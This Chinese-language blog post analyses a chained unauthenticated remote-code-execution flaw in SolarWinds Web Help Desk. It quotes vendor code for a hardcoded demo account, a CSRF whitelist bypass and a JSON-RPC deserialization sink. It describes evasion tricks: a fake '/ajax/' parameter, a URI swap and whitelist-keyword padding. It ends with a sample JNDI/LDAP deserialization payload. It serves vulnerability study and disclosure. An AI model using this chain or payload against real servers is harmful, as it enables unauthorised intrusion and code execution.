结合AI从代码层面分析SolarWinds Web Help Desk 未授权远程代码执行漏洞
结合AI从代码层面分析SolarWinds Web Help Desk 未授权远程代码执行漏洞
一、漏洞概述
SolarWinds Web Help Desk(WHD)是一款广泛应用的 IT 服务管理平台,其存在静态凭证(CVE-2025-40537)、安全防护绕过(CVE-2025-40536)、Java 反序列化(CVE-2025-40551) 三个核心漏洞。攻击者可通过链式利用这三个漏洞,实现未授权远程代码执行(RCE),危害等级为严重。该漏洞已在 WHD 2026.1 版本中修复。
二、漏洞核心成因分析
(一)静态凭证漏洞(CVE-2025-40537):默认账户硬编码
- 漏洞原理系统初始化时会自动创建一个用于演示的
client账户,账户密码硬编码且未强制修改,部分场景下该账户可关联高权限技术账户。 - 核心代码分析
Client aClient = new Client();
insertObjectInTransaction(this, aClient);
aClient.setDeleted(Integer.valueOf(0));
aClient.setFirstName("Demo");
aClient.setLastName("Client");
aClient.setEmail("client");
aClient.setUserName("client");
// 密码硬编码为 client 并加密存储
aClient.setPassword(DigestCryptoManager.createDefaultAndEncrypt("client"));
aClient.setLocked(Integer.valueOf(0));
aClient.setSubscriber(aSubscriber);相当于硬编码了一个默认账户,可凭借该账户获取到相应凭据
(二)安全防护绕过漏洞(CVE-2025-40536):参数白名单校验失效
- 漏洞原理WHD 的
checkCsrfTokenWo()函数用于校验 CSRF 令牌和请求参数白名单,但校验逻辑存在缺陷,攻击者可通过构造虚假参数绕过限制,直接访问受限组件。 - 核心代码分析

if (!woRequest.uri().toLowerCase().contains("/ajax/") && woRequest.method().equalsIgnoreCase("GET")) {
try {
List<NameValuePair> params = URLEncodedUtils.parse(new URI(woRequest.uri()), "UTF8");
for (NameValuePair param : params) {
if (param.getName().matches("\\d") || param.getValue() == null) {
continue;
}
if (param.getName().matches("\\d+,\\d+") || param.getName().matches("at\\d+$")) {
continue;
}
// 不在白名单的参数直接拒绝
if (!ALLOWED_PARAMETERS_FOR_GET.contains(param.getName().toLowerCase())) {
LOGGER.error("Param {} not allowed in request {}", param.getName(), woRequest.uri());
throw new UnsupportedOperationException("operation not allowed");
}
}
} catch (Exception e) {
}
return;
}该函数的校验触发条件是 URI 不包含 /ajax/ 且请求方法为 GET。攻击者只需在请求中添加虚假参数 badparam=/ajax/,即可让 URI 包含 /ajax/ 从而跳过参数白名单校验,进而使用 wopage 参数加载任意 WebObject 组件。
(三)Java 反序列化漏洞(CVE-2025-40551):AjaxProxy 组件滥用
这是实现 RCE 的核心漏洞,其利用依赖前两个漏洞的前置条件,分为三层代码缺陷。
- 缺陷 1:AjaxProxy 组件的 JSON-RPC 桥未做安全限制
AjaxProxy组件使用jabsorb库处理 JSON-RPC 请求,未限制可反序列化的类和可调用的方法,直接将用户输入作为参数执行。
代码分析如下:
public WOActionResults handleRequest(WORequest request, WOContext context) {
AjaxResponse ajaxResponse = AjaxUtils.createResponse(request, context);
String inputString = request.contentString();
JSONObject input = null;
Object output = null;
try {
Object proxy;
JSONBridge jsonBridge;
input = new JSONObject(inputString);
// 获取 proxy 对象,无权限校验
if (canGetValueForBinding("proxy")) {
proxy = valueForBinding("proxy");
} else {
proxy = parent();
}
String proxyName = (String) valueForBinding("proxyName");
// 创建 JSON-RPC 桥,未限制注册对象
if (canGetValueForBinding("AjaxBridge")) {
jsonBridge = (JSONBridge) valueForBinding("AjaxBridge");
} else {
jsonBridge = JSONBridge.createBridge();
setValueForBinding(jsonBridge, "AjaxBridge");
}
jsonBridge.registerObject(proxyName, proxy);
// 直接处理用户输入的 JSON 数据,触发反序列化
output = jsonBridge.callMethod(request, context, ajaxResponse, input);
} catch (Exception e) {
output = "method not found (session may have timed out)";
}
ajaxResponse.appendContentString(output.toString());
return ajaxResponse;
}这个是漏洞触发的底层,也就是我们最终利用的地方
终极目标:触发 AjaxProxy 组件的 JSON-RPC 桥,实现反序列化 RCE
现在就是找到一个链子来触发触发 AjaxProxy 组件的 JSON-RPC 桥,下面是我的分析思路:
现在我知道了反序列化漏洞的的利用核心是AjaxProxy 组件的 JSON-RPC 桥未做安全限制,所以我们如果能成功调用这个组件就可以实现反序列化漏洞,所以就引出了该如何去调用这个组件,而AjaxFlexibleFileUpload组件使用了AjaxProxy,所以我们只要成功调用AjaxFlexibleFileUpload就可以调用AjaxProxy,进一步我们发现LoginPref 组件使用了AjaxFlexibleFileUpload,所以我们要找到LoginPref 组件的调用方法,而“wopage”查询参数可以让我们直接访问LoginPref 组件。
整个链路:
wopage=LoginPref(绕过防护调用入口组件) → LoginPref 加载 AjaxFlexibleFileUpload → AjaxFlexibleFileUpload 触发 AjaxProxy → AjaxProxy 的 JSON-RPC 桥执行恶意反序列化
现在我们知道如何触发漏洞链子了,但是在成功执行漏洞利用链之前我们需要绕过过滤函数。
在这个漏洞中,我们还需要绕过AjaxProxy 反序列化漏洞新增的两个防御函数
sanitizeRequest() 函数和checkSuspeciousPayLoad()
- 缺陷 2:
sanitizeRequest()函数绕过
函数作用: 该函数的核心目标是净化发往 AjaxProxy 的恶意请求数据,防止攻击者通过 JSON-RPC 传递危险参数触发反序列化。
核心代码分析如下:
private static WORequest sanitizeRequest(WORequest request) {
byte[] bytes = request.content().bytes();
String requestPayload = new String(bytes);
// 仅通过 URI 包含 ajax 判断是否净化
if (request.uri().contains("ajax") && isJSON(requestPayload)) {
String modifiedPayload = sanitizeJson(requestPayload);
request.setContent(modifiedPayload.getBytes());
}
return request;
}绕过思路分析:
因为 WHD 中 wo 路径与 ajax 路径的请求处理逻辑完全一致,均可触发 AjaxProxy 功能。 所以我们将URI 中的 ajax 改为 wo,即可绕过净化,直接传递恶意反序列化数据。
3. 缺陷 3:黑白名单校验逻辑设计缺陷checkSuspeciousPayLoad() 函数的黑名单校验可被 isWhitelisted() 函数绕过
函数作用: 该函数是恶意 payload 黑名单检测机制,用于识别并拦截包含危险特征的请求体,防止反序列化攻击。

核心代码分析如下:
private void checkSuspeciousPayLoad(WORequest request){
byte[] bytes = request.content().bytes();
String requestPayLoad = new String(bytes);
// 步骤1:空 payload 直接放行
if (StringUtils.isBlank(requestPayLoad))
return;
String normalizeAndDecodePayLoad = normalizeAndDecodeInput(requestPayLoad);
// 步骤2:校验 ajax 请求 + JSON 格式 + 长度限制
if (request.uri().contains("ajax") &&
isJSON(normalizeAndDecodePayLoad) &&
(normalizeAndDecodePayLoad.getBytes()).length > 1048) {
rootLogger().error("Payload exceeds maximum allowed size for AJAX request...");
LogSuspiciousRequestDetails(request);
throw new MissingCsrfTokenException("invalid request.");
}
// 步骤3:黑名单特征检测 + 白名单放行
if(SUSPICIOUS_PATTERNS.matcher(normalizeAndDecodePayLoad).find()){
Matcher matcher = SUSPICIOUS_PATTERN.matcher(normalizeAndDecodePayLoad);
matcher.find();
String matchedKeyword = matcher.group();
// 命中黑名单但通过白名单校验则放行
if (matchedKeyword.startsWith("java.") && isWhitelisted(normalizeAndDecodePayLoad)) {
rootLogger().info("whitelisted payload with matched keyword:" + matchedKeyword);
return;
}
rootLogger().error("suspicious content detected...");
LogSuspiciousRequestDetails(request);
throw new MissingCsrfTokenException("invalid request");
}
}private boolean isWhitelisted(String payload) {
List<String> patterns = Lists.of("parentpopup", "wonoselectionstring", "dummy", "mdssubmitlink", "mdsform__enterkeypressed", "mdsform__shiftkeypressed", "mdsform__altkeypressed", "_csrf");
for (String pattern : patterns) {
if (!payload.contains(pattern)) {
return false;
}
}
return true;
}
//payload 是否同时包含所有8个关键词,如果是就返回true绕过分析思路:
if (matchedKeyword.startsWith("java.") && isWhitelisted(normalizeAndDecodePayLoad))
- 黑名单检测:用
SUSPICIOUS_PATTERNS正则匹配 payload,识别危险特征,比如java.开头的恶意类名。 - 白名单放行:如果命中黑名单的
java.特征,但 payload 满足isWhitelisted()函数的校验规则,就会放行该请求。
我们可以在poc中构造满足isWhitelisted() 函数的条件来绕过这个if条件,比如:
"bypass": "parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf"OK,现在我们来总结一下漏洞利用链:
会话创建 / 静态凭证登录 → 防护绕过调用 LoginPref → LoginPref 加载 AjaxFlexibleFileUpload → AjaxFlexibleFileUpload 触发 AjaxProxy → 绕过防御机制执行恶意反序列化 → RCE

示例poc
{
"bypass": "parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
"id": 1,
"method": "wopage.setVariableValueForName",
"params": [
"malicious",
{
"javaClass": "org.apache.xalan.lib.sql.JNDIConnectionPool",
"jndiPath": "ldap://127.0.0.1/eval"
}
]
}通过静态凭证、CSRF绕过与Java反序列化漏洞链式利用,实现SolarWinds WHD未授权RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准